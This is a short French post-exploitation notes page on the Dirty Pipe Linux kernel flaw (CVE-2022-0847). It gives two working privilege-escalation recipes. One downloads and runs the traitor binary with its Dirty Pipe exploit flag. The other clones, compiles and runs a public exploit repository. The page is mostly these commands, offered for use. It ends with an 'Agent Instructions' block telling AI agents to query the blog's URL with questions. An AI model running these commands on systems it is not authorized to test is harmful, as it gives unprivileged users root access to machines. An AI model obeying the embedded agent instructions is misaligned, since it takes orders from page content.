# CVE-2022-0847 (Dirty Pipe)

Dirty Pipe est une vulnérabilité du noyau Linux depuis la version 5.8 qui permet d'écraser des données dans des fichiers arbitraires en lecture seule. Cela conduit à une élévation des privilèges car les processus non privilégiés peuvent injecter du code dans les processus racine.

ressource: <https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits>

### Exploitation

#### Méthode 1

```bash
# Téléchargement de l'executable ELF
wget https://github.com/liamg/traitor/releases/download/v0.0.14/traitor-amd64
# Don des droits nécessaires à l'execution de l'executable
chmod 777 traitor-amd64
# Exploitation
./traitor-amd64 --exploit kernel:CVE-2022-0847
```

#### Méthode 2:

```bash
# Téléchargement du script
git clone https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit.git
cd CVE-2022-0847-DirtyPipe-Exploit
./compile.sh
# Exploitation
./exploit
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://blog.s1rn3tz.ovh/post-exploitation/enumeration-elevation-de-privileges/linux/cve-2022-0847-dirty-pipe.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
